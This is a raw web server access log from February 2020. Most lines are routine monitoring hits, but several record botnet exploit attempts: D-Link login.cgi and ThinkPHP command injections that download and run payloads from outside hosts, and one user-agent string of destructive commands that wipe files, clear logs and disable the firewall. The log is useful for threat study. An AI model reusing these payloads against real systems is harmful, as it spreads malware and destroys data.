125.128.241.71 - - [22/Feb/2020:06:36:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [22/Feb/2020:06:37:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.167.95.45 - - [22/Feb/2020:06:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
124.47.8.10 - - [22/Feb/2020:06:49:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.33.38.88 - - [22/Feb/2020:06:54:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
190.219.234.231 - - [22/Feb/2020:06:54:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.219.234.231 - - [22/Feb/2020:06:54:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
180.11.11.126 - - [22/Feb/2020:06:54:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.219.234.231 - - [22/Feb/2020:06:54:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.236.76.95 - - [22/Feb/2020:06:59:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.239.164.22 - - [22/Feb/2020:06:59:48 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [22/Feb/2020:07:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [22/Feb/2020:07:02:49 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:07:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.218.0.84 - - [22/Feb/2020:07:06:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:07:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.169.207.228 - - [22/Feb/2020:07:13:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:07:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.47.218.19 - - [22/Feb/2020:07:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:07:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.73.33.73 - - [22/Feb/2020:07:19:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:07:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.88.255.162 - - [22/Feb/2020:07:20:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
221.125.44.233 - - [22/Feb/2020:07:20:40 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:07:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.11.136.5 - - [22/Feb/2020:07:25:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:07:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.209.248.201 - - [22/Feb/2020:07:32:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:07:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.38.198.246 - - [22/Feb/2020:07:34:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
189.179.164.229 - - [22/Feb/2020:07:35:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:07:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [22/Feb/2020:07:37:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:07:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.187.5.133 - - [22/Feb/2020:07:37:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:07:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.50.160.158 - - [22/Feb/2020:07:49:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:07:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [22/Feb/2020:07:50:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
143.255.243.176 - - [22/Feb/2020:07:51:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:07:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.15.249.117 - - [22/Feb/2020:07:54:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.249.117 - - [22/Feb/2020:07:54:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [22/Feb/2020:07:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.15.249.117 - - [22/Feb/2020:07:54:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.249.117 - - [22/Feb/2020:07:54:41 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.249.117 - - [22/Feb/2020:07:54:42 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.249.117 - - [22/Feb/2020:07:54:42 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.249.117 - - [22/Feb/2020:07:54:43 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.249.117 - - [22/Feb/2020:07:54:43 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.15.249.117 - - [22/Feb/2020:07:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [22/Feb/2020:07:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:07:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.200.16.162 - - [22/Feb/2020:07:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
189.126.233.113 - - [22/Feb/2020:07:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:07:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.211.68.57 - - [22/Feb/2020:07:58:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.226.25.182 - - [22/Feb/2020:07:59:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
81.214.220.73 - - [22/Feb/2020:07:59:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:07:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.254.242.5 - - [22/Feb/2020:08:07:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:08:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.187.30.17 - - [22/Feb/2020:08:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.228.135.144 - - [22/Feb/2020:08:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:08:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.116.104.161 - - [22/Feb/2020:08:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:08:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.244.196.42 - - [22/Feb/2020:08:15:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:08:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.97 - - [22/Feb/2020:08:16:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:08:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.209.242.44 - - [22/Feb/2020:08:27:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [22/Feb/2020:08:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:08:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
